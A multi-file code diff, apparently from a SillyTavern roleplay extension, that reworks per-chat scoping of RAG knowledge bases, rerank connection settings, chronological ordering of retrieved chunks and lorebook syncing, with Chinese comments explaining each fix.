// 聊天级库(有 chatId只对所属聊天可见——这就是"独立"的含义
const localBases = Object.values(getLocalKnowledgeBases())
.filter(b => b.enabled && (!b.chatId || b.chatId === chatId));
if (localBases.length > 0) {
const chatScoped = localBases.filter(b => b.chatId).length;
console.log(`[翰林院-日志] 添加 ${localBases.length} 个本地知识库(其中 ${chatScoped} 个为当前聊天专属)。`);
basesToQuery.push(...localBases.map(b => ({ ...b, scope: b.chatId ? 'chat' : 'local' })));
}
const enabledGlobalBases = Object.values(getGlobalKnowledgeBases()).filter(b => b.enabled);
if (enabledGlobalBases.length > 0) {
console.log(`[翰林院-日志] 添加 ${enabledGlobalBases.length} 个已启用的全局知识库。`);
basesToQuery.push(...enabledGlobalBases.map(b => ({ ...b, scope: 'global' })));
}
}
}
else {
console.log('[翰林院-日志] 统一角色卡模式开启...');
const localBases = getLocalKnowledgeBases();
const globalBases = getGlobalKnowledgeBases();
const enabledLocalBases = Object.values(localBases).filter(b => b.enabled);
const enabledGlobalBases = Object.values(globalBases).filter(b => b.enabled);
basesToQuery.push(...enabledLocalBases.map(b => ({ ...b, scope: 'local' })));
// 聊天级库(独立模式期间产生)在统一模式下也可见,但需用 'chat' scope
// 才能拼出正确的集合 ID${chatId}_${taskId}
basesToQuery.push(...enabledLocalBases.map(b => ({ ...b, scope: b.chatId ? 'chat' : 'local' })));
basesToQuery.push(...enabledGlobalBases.map(b => ({ ...b, scope: 'global' })));
if (basesToQuery.length === 0) {
@@ -860,7 +987,9 @@ async function _executeQueryForBase(base, queryText, queryEmbedding = null) {
collectionId = await getDynamicCollectionId();
break;
case 'chat':
collectionId = base.id;
// 聊天级库:${chatId}_${taskId} 命名空间(独立聊天记忆)。
// 旧语义的裸 chatId 集合从未被任何录入路径写入过,无存量兼容负担
collectionId = base.chatId ? `${base.chatId}_${base.id}` : base.id;
break;
case 'global':
const ownerId = base.owner || GLOBAL_SCOPE_ID;
@@ -926,10 +1055,12 @@ async function _executeQueryForBase(base, queryText, queryEmbedding = null) {
switch (sourceTag) {
case '聊天记录':
newMetadata.source = 'chat_history';
const chatMatch = item.text.match(/楼层:\s*#(\d+),\s*第(\d+)部分/);
if (chatMatch && chatMatch[1] && chatMatch[2]) {
// 时间段为可选:兼容旧格式 [楼层: #X, 第Y部分] 与新格式 [楼层: #X, 时间: ..., 第Y部分]
const chatMatch = item.text.match(/楼层:\s*#(\d+)(?:,\s*时间:\s*([^,\]]+))?,\s*第(\d+)部分/);
if (chatMatch && chatMatch[1] && chatMatch[3]) {
newMetadata.floor = parseInt(chatMatch[1], 10);
newMetadata.part = parseInt(chatMatch[2], 10);
if (chatMatch[2]) newMetadata.timeLabel = chatMatch[2].trim();
newMetadata.part = parseInt(chatMatch[3], 10);
newMetadata.sourceName = `聊天记录 #${newMetadata.floor}`;
}
break;
@@ -1032,43 +1163,40 @@ async function getVectorCount(taskId = null, scope = 'local') {
console.warn(`[翰林院-计数] 在作用域 '${scope}' 中未找到ID为 ${taskId} 的知识库。`);
return 0;
}
const ownerId = scope === 'global' ? (base.owner || GLOBAL_SCOPE_ID) : charId;
const collectionId = `${ownerId}_${taskId}`;
return await countVectorsInCollection(collectionId);
// 聊天级库按 ${chatId}_${taskId} 命名空间计数getKbCollectionId 统一处理)
return await countVectorsInCollection(getKbCollectionId(base, scope));
} else {
if (settings.retrieval.independentChatMemoryEnabled) {
const chatId = getChatId();
if (!chatId) return 0;
const totalCount = await countVectorsInCollection(chatId);
console.log(`[翰林院-日志] 独立聊天记忆模式开启,聊天 ${chatId} 的向量总数: ${totalCount}`);
return totalCount;
}
// 总数统计与查询侧保持同一可见性规则:
// 独立模式 → 本地知识库 + 当前聊天的聊天级库 + 全局库
// 统一模式 → 全部本地库(含聊天级)+ 全局库 + legacy 宝库
const independent = settings.retrieval.independentChatMemoryEnabled;
const chatId = independent ? getChatId() : null;
console.log(`[翰林院-日志] 开始获取${independent ? '当前聊天可见的' : '所有'}知识库向量总数...`);
console.log('[翰林院-日志] 开始获取所有知识库的向量总数...');
const localBases = Object.values(getLocalKnowledgeBases());
const localBases = Object.values(getLocalKnowledgeBases())
.filter(base => !independent || !base.chatId || base.chatId === chatId);
const globalBases = Object.values(getGlobalKnowledgeBases());
const countPromises = [];
localBases.forEach(base => {
const collectionId = `${charId}_${base.id}`;
countPromises.push(countVectorsInCollection(collectionId));
countPromises.push(countVectorsInCollection(getKbCollectionId(base, 'local')));
});
globalBases.forEach(base => {
const ownerId = base.owner || GLOBAL_SCOPE_ID;
const collectionId = `${ownerId}_${base.id}`;
countPromises.push(countVectorsInCollection(collectionId));
countPromises.push(countVectorsInCollection(getKbCollectionId(base, 'global')));
});
const legacyCollectionId = await getDynamicCollectionId();
countPromises.push(countVectorsInCollection(legacyCollectionId));
if (!independent) {
const legacyCollectionId = await getDynamicCollectionId();
countPromises.push(countVectorsInCollection(legacyCollectionId));
}
const counts = await Promise.all(countPromises);
const totalCount = counts.reduce((total, count) => total + count, 0);
console.log(`[翰林院-日志] 所有知识库统计完成,总向量数: ${totalCount}`);
console.log(`[翰林院-日志] 知识库统计完成,总向量数: ${totalCount}`);
return totalCount;
}
}
@@ -1183,20 +1311,23 @@ async function processCondensation(messages, logCallback = () => {}, range = nul
kbName = `聊天记录: ${timestamp}`;
}
const existingKbs = Object.values(getLocalKnowledgeBases());
const foundKb = existingKbs.find(kb => kb.name === kbName);
// 独立聊天记忆模式下凝识结果按聊天分桶,与 ingestTextToHanlinyuan 的语义一致
const independentChatId = settings.retrieval.independentChatMemoryEnabled ? getChatId() : null;
const existingKbs = Object.values(getLocalKnowledgeBases());
const foundKb = existingKbs.find(kb => kb.name === kbName && (kb.chatId ?? null) === independentChatId);
if (foundKb) {
taskId = foundKb.id;
logCallback(`[翰林院-核心] 检测到同名知识库 "${kbName}",将数据合并入库。`, 'info');
} else {
logCallback(`[翰林院-核心] 准备为任务 "${kbName}" 创建专属知识库...`, 'info');
const newKb = addKnowledgeBase(kbName, 'chat_history');
const newKb = addKnowledgeBase(kbName, 'chat_history', independentChatId);
taskId = newKb.id;
}
const charId = getCharacterStableId();
const collectionId = `${charId}_${taskId}`;
const collectionId = independentChatId ? `${independentChatId}_${taskId}` : `${charId}_${taskId}`;
logCallback(`[翰林院-核心] 凝识任务已锁定知识库: ${kbName} (集合ID: ${collectionId})`, 'success');
const allChunks = [];
@@ -1405,7 +1536,13 @@ async function rerankResults(allResults, queryText, settings) {
console.log('[翰林院-Rerank] 开始外部API重排序...');
try {
const documentsToRerank = allResults.map(res => res.text);
const rerankedData = await executeRerank(queryText, documentsToRerank, settings.rerank);
// 【修复】实际重排必须走 getRerankSettings() 解析连接profile 优先、legacy 兜底),
// 与「测试连接」路径一致。旧代码直接传 settings.reranklegacy 嵌套对象),
// 在用户用 API Profile 配 rerank 时其 apiKey/url/model 是空/stale 的——
// 导致测试连接成功、实际请求却报「Rerank API Key 未提供」。
// enabled / notify / hybrid_alpha 等行为开关仍读 legacy settings.rerank。
const rerankConn = await getRerankSettings();
const rerankedData = await executeRerank(queryText, documentsToRerank, rerankConn);
const indexedResults = allResults.map((res, index) => ({ ...res, original_index: index }));
processedResults = indexedResults.map(result => {
@@ -1459,18 +1596,102 @@ async function rerankResults(allResults, queryText, settings) {
finalScoredResults.sort((a, b) => (b.final_score || 0) - (a.final_score || 0));
console.log('[翰林院-Rerank] 元数据加权排序完成。');
let finalResults = finalScoredResults;
// 先按相关度截断 top_n再做时序排序——顺序反了会让"时序最早"而非"最相关"
// 的块占据名额超级排序把最旧楼层排最前slice 会扔掉高相关的靠后结果)
let finalResults = finalScoredResults.slice(0, settings.rerank.top_n);
if (settings.rerank.superSortEnabled) {
finalResults = superSort(finalScoredResults);
finalResults = superSort(finalResults);
}
return {
results: finalResults.slice(0, settings.rerank.top_n),
results: finalResults,
reranked: rerankedSuccessfully
};
}
/**
* 从"第十二章"/"第3卷"/"4"等字符串中解析序数,用于注入前的时序排序。
* 支持阿拉伯数字与常见中文数字(至万级);解析失败返回 MAX_SAFE_INTEGER排最后
*/
function _parseOrdinal(value) {
if (typeof value === 'number') return value;
if (!value) return Number.MAX_SAFE_INTEGER;
const str = String(value);
const arabic = str.match(/\d+/);
if (arabic) return parseInt(arabic[0], 10);
const cnDigit = { : 0, : 1, : 2, : 2, : 3, : 4, : 5, : 6, : 7, : 8, : 9 };
const m = str.match(/[零一二两三四五六七八九十百千万]+/);
if (!m) return Number.MAX_SAFE_INTEGER;
let total = 0, current = 0;
for (const ch of m[0]) {
if (cnDigit[ch] !== undefined) {
current = cnDigit[ch];
} else if (ch === '十') {
total += (current || 1) * 10;
current = 0;
} else if (ch === '百') {
total += (current || 1) * 100;
current = 0;
} else if (ch === '千') {
total += (current || 1) * 1000;
current = 0;
} else if (ch === '万') {
total = (total + current) * 10000;
current = 0;
}
}
return total + current;
}
/**
* 注入前的组内时序重排 + 断层提示。
*
* rerank/相似度负责"选哪些块",本函数负责"按什么顺序呈现"
* - chat_history 按楼层+部分升序;相邻块楼层跳跃时插入断层提示行,
* 避免 LLM 把"不打不相识"和"关系亲密"两个远隔的片段读成连续剧情
* - novel 按卷/章/节序数升序(中文数字章节号可解析)
* - lorebook / manual 按来源聚合 + part 升序,碎块归位
* 元数据缺失的块排在末尾、保持彼此原有顺序sort 稳定性)。
*/
function _composeInjectionText(source, results) {
const sorted = [...results];
const ord = (v) => (Number.isFinite(v) ? v : Number.MAX_SAFE_INTEGER);
if (source === 'chat_history') {
sorted.sort((a, b) =>
ord(a.metadata?.floor) - ord(b.metadata?.floor)
|| (a.metadata?.part ?? 0) - (b.metadata?.part ?? 0));
const parts = [];
let prevFloor = null;
for (const r of sorted) {
const floor = r.metadata?.floor;
if (prevFloor !== null && Number.isFinite(floor) && floor - prevFloor > 1) {
parts.push(`〔提示:以下内容与上文相隔约 ${floor - prevFloor} 楼,期间的剧情未被检索到,两段内容并非连续发生〕`);
}
parts.push(r.text);
if (Number.isFinite(floor)) prevFloor = floor;
}
return parts.join('\n\n');
}
if (source === 'novel') {
sorted.sort((a, b) =>
_parseOrdinal(a.metadata?.volume) - _parseOrdinal(b.metadata?.volume)
|| _parseOrdinal(a.metadata?.chapter) - _parseOrdinal(b.metadata?.chapter)
|| _parseOrdinal(a.metadata?.section) - _parseOrdinal(b.metadata?.section));
return sorted.map(r => r.text).join('\n\n');
}
// lorebook / manual同源聚合 + part 升序
sorted.sort((a, b) =>
String(a.metadata?.sourceName ?? '').localeCompare(String(b.metadata?.sourceName ?? ''), 'zh')
|| (a.metadata?.part ?? 0) - (b.metadata?.part ?? 0));
return sorted.map(r => r.text).join('\n\n');
}
async function rearrangeChat(chat, contextSize, abort, type) {
const injectionKeys = {
novel: 'HANLINYUAN_RAG_NOVEL',
@@ -1685,7 +1906,8 @@ async function rearrangeChat(chat, contextSize, abort, type) {
continue;
}
const formattedText = results.map(r => r.text).join('\n\n');
// 组内按时序重排 + 断层提示rerank 决定选哪些块,时序决定呈现顺序)
const formattedText = _composeInjectionText(source, results);
const placeholder = `{{${source.replace('_history', '')}_text}}`;
let injectionContent = injectionSettings.template.replace(placeholder, formattedText);
@@ -1732,6 +1954,13 @@ async function moveKnowledgeBase(taskId, fromScope) {
return;
}
// 聊天级库(独立聊天记忆产物)专属于单个聊天,移到全局会让所有角色
// 检索到某个特定聊天的记忆,语义矛盾,禁止
if (kbData.chatId && toScope === 'global') {
toastr.warning(`知识库【${kbData.name}】是聊天专属记忆,不能移动到全局。`);
return;
}
if (fromScope === 'local' && toScope === 'global' && !kbData.owner) {
console.log(`[翰林院-配置] 为旧版知识库 ${taskId} 补充所有者ID: ${charId}`);
kbData.owner = charId;

View File

@@ -3,8 +3,10 @@
export const defaultSettings = {
retrieval: {
enabled: false,
apiEndpoint: 'openai',
enabled: false,
// 默认走 custom 与下面的 customApiUrl 配套;旧默认 'openai' 不在 UI select
// 选项里,会在首次保存时被写成 ''(已有用户的 'openai' 值仍合法、不迁移)
apiEndpoint: 'custom',
customApiUrl: 'https://api.siliconflow.cn/v1',
apiKey: '',
embeddingModel: 'text-embedding-3-small',
@@ -65,8 +67,9 @@ export const defaultSettings = {
},
rerank: {
enabled: false,
apiMode: 'custom',
url: 'https://api.siliconflow.cn/v1',
apiKey: '',
apiKey: '',
model: 'Pro/BAAI/bge-reranker-v2-m3',
top_n: 5,
hybrid_alpha: 0.7,

View File

@@ -15,8 +15,8 @@ import { resolveHistoriographyRuleConfig } from "../utils/config/RuleProfileMana
import { getPresetPrompts, getMixedOrder } from '../PresetSettings/index.js';
import { callAI, generateRandomSeed } from './api.js';
import { callJqyhAI } from './api/JqyhApi.js';
import { callConcurrentAI } from './api/ConcurrentApi.js';
import { applyToTemplates } from './memory-blocks/index.js';
export async function processOptimization(latestMessage, previousMessages) {
if (window.AMILY2_SYSTEM_PARALYZED === true) {
@@ -277,22 +277,18 @@ export async function processPlotOptimization(currentUserMessage, contextMessage
const userName = context.name1 || '用户';
const charName = context.name2 || '角色';
const replacements = {
'sulv1': settings.plotOpt_rateMain ?? 1.0,
'sulv2': settings.plotOpt_ratePersonal ?? 1.0,
'sulv3': settings.plotOpt_rateErotic ?? 1.0,
'sulv4': settings.plotOpt_rateCuckold ?? 1.0,
};
let mainPrompt = settings.plotOpt_mainPrompt || '';
let systemPrompt = settings.plotOpt_systemPrompt || '';
for (const key in replacements) {
const value = replacements[key];
const regex = new RegExp(key.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&'), 'g');
mainPrompt = mainPrompt.replace(regex, value);
systemPrompt = systemPrompt.replace(regex, value);
}
// 【Phase 1 重构】sulv1-4 占位符替换迁入记忆块工作流。
// 块定义见 core/memory-blocks/builtin-blocks.js行为与旧硬编码字节级一致
// - 同一 context 内 Promise.all 并发执行 generator
// - 模板批量替换,块只跑一次复用结果
// - 后续新增占位符(含战斗系统)走 register({...}),此处零改动
const { mainPrompt, systemPrompt } = await applyToTemplates(
{
mainPrompt: settings.plotOpt_mainPrompt || '',
systemPrompt: settings.plotOpt_systemPrompt || '',
},
{ context: 'plotOptimization', settings },
);
onProgress(getRandomText(['正在进行情感光谱分析...', '正在解析情绪波动频率...', '正在捕捉微表情信号...']), false);
onProgress(getRandomText(['正在进行情感光谱分析...', '正在解析情绪波动频率...', '正在捕捉微表情信号...']), true);
@@ -433,9 +429,11 @@ export async function processPlotOptimization(currentUserMessage, contextMessage
const useTagExtraction = historiographyRuleConfig.tagExtractionEnabled ?? false;
const tagsToExtract = useTagExtraction ? (historiographyRuleConfig.tags || '').split(',').map(t => t.trim()).filter(Boolean) : [];
const exclusionRules = historiographyRuleConfig.exclusionRules || [];
const excludeUserMessages = historiographyRuleConfig.excludeUserMessages ?? false;
history = historyMessages
.map(msg => {
if (excludeUserMessages && msg.is_user) return null;
if (msg.mes && msg.mes.trim()) {
let content = msg.mes.trim();
@@ -478,7 +476,7 @@ export async function processPlotOptimization(currentUserMessage, contextMessage
onProgress(getRandomText(['正在检索辅助记忆 (LLM-B)...', '正在扫描平行世界线 (LLM-B)...']), false);
onProgress(getRandomText(['正在与核心意识同步 (LLM-A)...', '正在等待灵魂共鸣 (LLM-A)...']), false);
const promise1 = (settings.jqyhEnabled ? callJqyhAI(mainMessages) : callAI(mainMessages, { slot: 'plotOpt' })).then(res => {
const promise1 = callAI(mainMessages, { slot: 'plotOpt' }).then(res => {
onProgress(getRandomText(['正在与核心意识同步 (LLM-A)...', '正在等待灵魂共鸣 (LLM-A)...']), true);
return res;
});
@@ -552,7 +550,7 @@ export async function processPlotOptimization(currentUserMessage, contextMessage
attempt++;
console.log(`[${extensionName}] 剧情优化第 ${attempt} 次尝试...`);
const rawResponse = settings.jqyhEnabled ? await callJqyhAI(mainMessages) : await callAI(mainMessages, { slot: 'plotOpt' });
const rawResponse = await callAI(mainMessages, { slot: 'plotOpt' });
if (cancellationState.isCancelled) {
console.log(`[${extensionName}] 优化任务在API调用后被中止。`);

View File

@@ -11,14 +11,16 @@
* 公开接口query('SuperMemory')
* initialize() — 初始化超级记忆系统
* forceSyncAll() — 全量同步到世界书
* tryRestoreStateFromMetadata() — 从聊天元数据恢复状态
* awaitSync() — 等待当前同步队列完成Pipeline Stage 4 使用)
* purge() — 清空记忆世界书
*
* 注tryRestoreStateFromMetadata 已删除——msg.metadata 非 ST 持久化字段,
* 该恢复路径从未真正工作过;表格状态的持久化与恢复由表格系统
* loadTables / msg.extra.amily2_tables_data唯一负责。
*/
import {
initializeSuperMemory,
tryRestoreStateFromMetadata,
forceSyncAll,
awaitSync,
purgeSuperMemory,
@@ -34,12 +36,11 @@ setTimeout(() => {
return;
}
_ctx.expose({
initialize: () => initializeSuperMemory(),
forceSyncAll: () => forceSyncAll(),
tryRestoreStateFromMetadata: () => tryRestoreStateFromMetadata(),
awaitSync: () => awaitSync(),
purge: () => purgeSuperMemory(),
pushUpdate: (payload) => pushUpdate(payload),
initialize: () => initializeSuperMemory(),
forceSyncAll: () => forceSyncAll(),
awaitSync: () => awaitSync(),
purge: () => purgeSuperMemory(),
pushUpdate: (payload) => pushUpdate(payload),
});
_ctx.log('SuperMemoryService', 'info', 'SuperMemory 服务已注册到 Bus。');
} catch (e) {
@@ -50,7 +51,6 @@ setTimeout(() => {
// ── 向后兼容具名导出 ──────────────────────────────────────────────────────
export {
initializeSuperMemory,
tryRestoreStateFromMetadata,
forceSyncAll,
awaitSync,
purgeSuperMemory,

View File

@@ -1,7 +1,7 @@
import { extensionName } from "../../utils/settings.js";
import { extension_settings } from "/scripts/extensions.js";
import { saveSettingsDebounced } from "/script.js";
import { initializeSuperMemory, purgeSuperMemory } from "./manager.js";
import { initializeSuperMemory, purgeSuperMemory, forceSyncAll } from "./manager.js";
import { defaultSettings as ragDefaultSettings } from "../rag-settings.js";
import { getMemoryState } from "../table-system/manager.js";
@@ -9,10 +9,11 @@ const RAG_MODULE_NAME = 'hanlinyuan-rag-core';
function getRagSettings() {
if (!extension_settings[extensionName]) extension_settings[extensionName] = {};
if (!extension_settings[extensionName][RAG_MODULE_NAME]) {
extension_settings[extensionName][RAG_MODULE_NAME] = structuredClone(ragDefaultSettings);
const root = extension_settings[extensionName];
if (!root[RAG_MODULE_NAME]) {
root[RAG_MODULE_NAME] = structuredClone(ragDefaultSettings);
}
return extension_settings[extensionName][RAG_MODULE_NAME];
return root[RAG_MODULE_NAME];
}
export function bindSuperMemoryEvents() {
@@ -41,6 +42,12 @@ export function bindSuperMemoryEvents() {
if (id === 'sm-system-enabled') {
extension_settings[extensionName]['super_memory_enabled'] = this.checked;
saveSettingsDebounced();
// 【修复】启动时若开关为关initializeSuperMemory 会早退且不注册监听器;
// 旧实现勾选后只写设置不初始化,导致开关"打开了但没反应"直到刷新页面。
// initializeSuperMemory 幂等isInitialized 防重入),此处直接补初始化。
if (this.checked) {
initializeSuperMemory();
}
return;
}
if (id === 'sm-bridge-enabled') {
@@ -109,7 +116,7 @@ export function bindSuperMemoryEvents() {
}
const tableName = $(this).data('table');
const type = $(this).data('type'); // 'sync' or 'constant'
const type = $(this).data('type'); // 'sync' | 'constant' | 'pinFirstRow'
const checked = this.checked;
if (!extension_settings[extensionName].superMemory_tableSettings[tableName]) {
@@ -118,6 +125,8 @@ export function bindSuperMemoryEvents() {
extension_settings[extensionName].superMemory_tableSettings[tableName][type] = checked;
saveSettingsDebounced();
// 立即应用:首行常驻切换需要把该行详情条目在 蓝灯/绿灯 之间重写
forceSyncAll();
console.log(`[Amily2-SuperMemory] Table setting updated: ${tableName}.${type} = ${checked}`);
});
@@ -143,9 +152,10 @@ function renderTableSettingsList() {
const tableName = table.name;
const tableConfig = settings[tableName] || {};
// Default values: Sync=True, Constant=True
const isSyncEnabled = tableConfig.sync !== false;
// Default values: Sync=True, Constant=True; PinFirstRow=False
const isSyncEnabled = tableConfig.sync !== false;
const isConstant = tableConfig.constant !== false;
const isPinFirstRow = tableConfig.pinFirstRow === true;
html += `
<div class="sm-control-block" style="border-bottom: 1px solid rgba(255,255,255,0.1); padding-bottom: 10px; margin-bottom: 10px;">
@@ -166,6 +176,15 @@ function renderTableSettingsList() {
<span style="font-size: 0.9em; color: #ccc;">索引绿灯(常驻)</span>
</div>
</div>
<div style="display: flex; justify-content: flex-start; margin-top: 5px;">
<div style="display: flex; align-items: center;">
<label class="sm-toggle-switch" style="transform: scale(0.8); margin-right: 5px;">
<input type="checkbox" class="sm-table-setting-check" data-table="${tableName}" data-type="pinFirstRow" ${isPinFirstRow ? 'checked' : ''}>
<span class="sm-slider"></span>
</label>
<span style="font-size: 0.9em; color: #ccc;" title="第一行通常是总调/全局定义行,开启后升为常驻注入,不再依赖关键词触发">首行常驻</span>
</div>
</div>
</div>
`;
});

View File

@@ -35,8 +35,19 @@ async function _doEnsureBook(bookName) {
}
}
export async function syncToLorebook(tableName, data, indexText, role, headers, rowStatuses, depth = 100, isIndexConstant = true) {
console.log(`[Amily2-Bridge] 开始同步表格: ${tableName} (Depth: ${depth}, IndexConstant: ${isIndexConstant})`);
/**
* @param {Object} [opts]
* @param {number} [opts.depth=100] 详情条目的注入深度
* @param {boolean} [opts.isIndexConstant=true] 索引条目是否常驻(蓝灯)
* @param {boolean} [opts.pinFirstRow=false] 首行详情条目升为常驻(总调/全局定义行)
*/
export async function syncToLorebook(tableName, data, indexText, role, headers, rowStatuses, opts = {}) {
const {
depth = 100,
isIndexConstant = true,
pinFirstRow = false,
} = opts;
console.log(`[Amily2-Bridge] 开始同步表格: ${tableName} (Depth: ${depth}, IndexConstant: ${isIndexConstant}, PinFirstRow: ${pinFirstRow})`);
return withLoreLock(`syncToLorebook(${tableName})`, async () => {
await _doEnsureBook(getMemoryBookName());
@@ -133,34 +144,19 @@ export async function syncToLorebook(tableName, data, indexText, role, headers,
processEntry(indexComment, indexKey, indexContent, indexType, true, true, 0, 0);
}
data.forEach((row, index) => {
if (!row || row.length === 0) return;
const rawVal = row[0];
if (rawVal === undefined || rawVal === null) return;
const settings = extension_settings[extensionName] || {};
const optimizationEnabled = settings.context_optimization_enabled !== false;
const primaryVal = String(rawVal).trim();
if (primaryVal === '') return;
const isPendingDeletion = rowStatuses && rowStatuses[index] === 'pending-deletion';
const isEnabled = !isPendingDeletion;
const triggerKeys = [primaryVal];
const entryComment = `[Amily2] Detail: ${tableName} - ${primaryVal}`;
const renderRowContent = (row) => {
let finalHeaders = headers;
if (!finalHeaders || finalHeaders.length < row.length) {
finalHeaders = [];
for(let i=0; i<row.length; i++) {
for (let i = 0; i < row.length; i++) {
finalHeaders.push((headers && headers[i]) ? headers[i] : `Col_${i}`);
}
}
const settings = extension_settings[extensionName] || {};
const optimizationEnabled = settings.context_optimization_enabled !== false;
let entryContent;
if (optimizationEnabled) {
const primaryVal = row[0] || 'Unknown';
entryContent = `${tableName}档案: ${primaryVal}\n`;
@@ -178,13 +174,34 @@ export async function syncToLorebook(tableName, data, indexText, role, headers,
}
entryContent = textContent.trim();
}
return entryContent.trim();
};
processEntry(entryComment, triggerKeys, entryContent.trim(), 'selective', isEnabled);
data.forEach((row, index) => {
if (!row || row.length === 0) return;
const rawVal = row[0];
if (rawVal === undefined || rawVal === null) return;
const primaryVal = String(rawVal).trim();
if (primaryVal === '') return;
const isPendingDeletion = rowStatuses && rowStatuses[index] === 'pending-deletion';
const isEnabled = !isPendingDeletion;
const triggerKeys = [primaryVal];
const entryComment = `[Amily2] Detail: ${tableName} - ${primaryVal}`;
// 首行常驻:第一行通常是总调/全局定义(基调、主线目标等),
// 绿灯模式下没人提到其主键就永远不注入;开启后升为蓝灯常驻。
const entryType = (pinFirstRow && index === 0) ? 'constant' : 'selective';
processEntry(entryComment, triggerKeys, renderRowContent(row), entryType, isEnabled);
});
const entriesToDelete = [];
const tablePrefix = `[Amily2] Detail: ${tableName} -`;
const activeKeys = new Set();
for(const row of data) {
if(row && row.length > 0) {

View File

@@ -3,19 +3,17 @@ import { extensionName } from "../../utils/settings.js";
import { amilyHelper } from "../tavern-helper/main.js";
import { generateIndex } from "./smart-indexer.js";
import { syncToLorebook, ensureMemoryBook, updateTransientHint, getMemoryBookName } from "./lorebook-bridge.js";
import { getMemoryState, loadMemoryState, saveMemoryState } from "../table-system/manager.js";
import { TABLE_UPDATED_EVENT } from "../table-system/events-schema.js";
import { getMemoryState } from "../table-system/manager.js";
import { TABLE_UPDATED_EVENT, inferTableRole } from "../table-system/events-schema.js";
import { eventSource, event_types } from "/script.js";
import { handleArchiveUpdate } from "../archive-manager.js";
/* ── [AMILY2-MODIFIED] ── pipeline integration: awaitSync() export ── */
let isInitialized = false;
let updateQueue = [];
let isProcessing = false;
let lastChatId = null;
let _syncPromise = null; // tracks the running processQueue() promise for pipeline awaiting
const METADATA_KEY = 'Amily2_Memory_Data';
/**
* [AMILY2-MODIFIED] Pipeline integration:
* Allows MessagePipeline Stage 4 to await the super-memory sync triggered
@@ -52,24 +50,22 @@ export async function initializeSuperMemory() {
}
document.addEventListener(TABLE_UPDATED_EVENT, handleTableUpdate);
// 【修复】CHAT_CHANGED 时不再主动 forceSyncAll
// 表格系统在 index.js 的 CHAT_CHANGED 里延迟 100ms 才 loadTables()
// 此处立即同步会把【旧聊天】的表格内容写进【新角色】的记忆世界书(竞态污染;
// 两边表名不同时旧表条目无 GC 兜底,会永久残留)。
// 无需自行补同步loadTables() 三个分支结尾都会 dispatchAllTablesUpdate()
// 新状态会经 pushUpdate 自动入队。这里只负责确保新角色的记忆世界书存在。
eventSource.on(event_types.CHAT_CHANGED, async () => {
const settings = extension_settings[extensionName] || {};
if (settings.super_memory_enabled === false) return;
console.log('[Amily2-SuperMemory] 检测到聊天切换,正在刷新记忆状态...');
await checkWorldBookStatus();
await tryRestoreStateFromMetadata();
await forceSyncAll();
});
await checkWorldBookStatus();
await tryRestoreStateFromMetadata();
await forceSyncAll();
await forceSyncAll();
isInitialized = true;
console.log('[Amily2-SuperMemory] 核心管理器初始化完成。');
@@ -109,11 +105,22 @@ export function pushUpdate(payload) {
console.log(`[Amily2-SuperMemory] 收到表格更新 (Bus): ${tableName} (Role: ${role})`);
updateQueue.push({ tableName, data, role, headers, rowStatuses });
_syncPromise = processQueue();
// 【修复】队列正忙时不可覆盖 _syncPromise:旧实现每次都赋值 processQueue()
// 而 processQueue 在 isProcessing 时立即返回(已 resolve 的空 Promise
// 导致 Pipeline Stage 4 的 awaitSync() 穿透、在同步未完成时放行后续阶段。
// 正在跑的 drain 循环会自然吃掉刚入队的项,无需新起 Promise。
if (!isProcessing) {
_syncPromise = processQueue();
}
// Bus 路径下 document event 不再分发,需直接通知归档管理器
handleArchiveUpdate(payload);
}
/** CustomEvent 降级路径Bus 未就绪时的兜底监听器) */
function handleTableUpdate(event) {
// Bus 已就绪时 pushUpdate 已由 dispatchTableUpdate 直调,跳过避免重复处理
if (window.Amily2Bus?.query('SuperMemory')?.pushUpdate) return;
pushUpdate(event.detail);
}
@@ -140,15 +147,18 @@ async function processQueue() {
await processUpdateTask(task);
}
}
await saveStateToMetadata();
// 【修复】移除 saveStateToMetadata()msg.metadata 不是 ST 的持久化字段
// (消息体标准位是 msg.extra写入后会蒸发恢复路径永远找不到东西——
// 整条"元数据状态保存/恢复"链路是死代码。表格状态的唯一持久化信源是
// 表格系统自己的 msg.extra.amily2_tables_datainfra/persistence.js
} catch (error) {
console.error('[Amily2-SuperMemory] 处理更新队列失败:', error);
} finally {
isProcessing = false;
if (updateQueue.length > 0) {
processQueue();
_syncPromise = processQueue();
}
}
}
@@ -168,12 +178,16 @@ async function processUpdateTask(task) {
const activeData = data.filter((_, i) => !rowStatuses || rowStatuses[i] !== 'pending-deletion');
const indexText = generateIndex(activeData, headers, role, tableName);
const allTables = getMemoryState();
const tableIndex = allTables.findIndex(t => t.name === tableName);
const depth = 8001 + (tableIndex >= 0 ? tableIndex : 99);
await syncToLorebook(tableName, data, indexText, role, headers, rowStatuses, depth, isIndexConstant);
await syncToLorebook(tableName, data, indexText, role, headers, rowStatuses, {
depth,
isIndexConstant,
pinFirstRow: tableSettings.pinFirstRow === true,
});
if (hint) {
console.log(`[Amily2-SuperMemory] 应用主动记忆提示: ${hint}`);
@@ -185,54 +199,67 @@ async function processUpdateTask(task) {
updateDashboardCounters();
}
async function saveStateToMetadata() {
const context = getContext();
if (!context.chat || context.chat.length === 0) return;
const lastMsgIndex = context.chat.length - 1;
const lastMsg = context.chat[lastMsgIndex];
const currentState = getMemoryState();
if (!lastMsg.metadata) lastMsg.metadata = {};
lastMsg.metadata[METADATA_KEY] = JSON.parse(JSON.stringify(currentState));
if (context.saveChat) {
await context.saveChat();
}
console.log(`[Amily2-SuperMemory] 状态已保存至消息 #${lastMsgIndex}`);
}
export async function tryRestoreStateFromMetadata() {
const context = getContext();
if (!context.chat || context.chat.length === 0) return;
let foundState = null;
let foundIndex = -1;
for (let i = context.chat.length - 1; i >= 0; i--) {
const msg = context.chat[i];
if (msg.metadata && msg.metadata[METADATA_KEY]) {
foundState = msg.metadata[METADATA_KEY];
foundIndex = i;
break;
}
}
if (foundState) {
console.log(`[Amily2-SuperMemory] 发现历史状态 (Msg #${foundIndex}),正在恢复...`);
if (typeof loadMemoryState === 'function') {
loadMemoryState(foundState);
await forceSyncAll();
} else {
console.warn('[Amily2-SuperMemory] table-system 缺少 loadMemoryState 方法,无法恢复状态。');
}
} else {
console.log('[Amily2-SuperMemory] 未在聊天记录中发现历史状态,使用默认/当前状态。');
}
}
// 【已停用 2026-06-12】saveStateToMetadata / tryRestoreStateFromMetadata
// msg.metadata 不是 ST 持久化字段(同 secondary-filler 修过的坑),写了会蒸发、
// 读永远为空——整条链路判定为从未真正工作过。若它"工作"了反而更糟:恢复出的
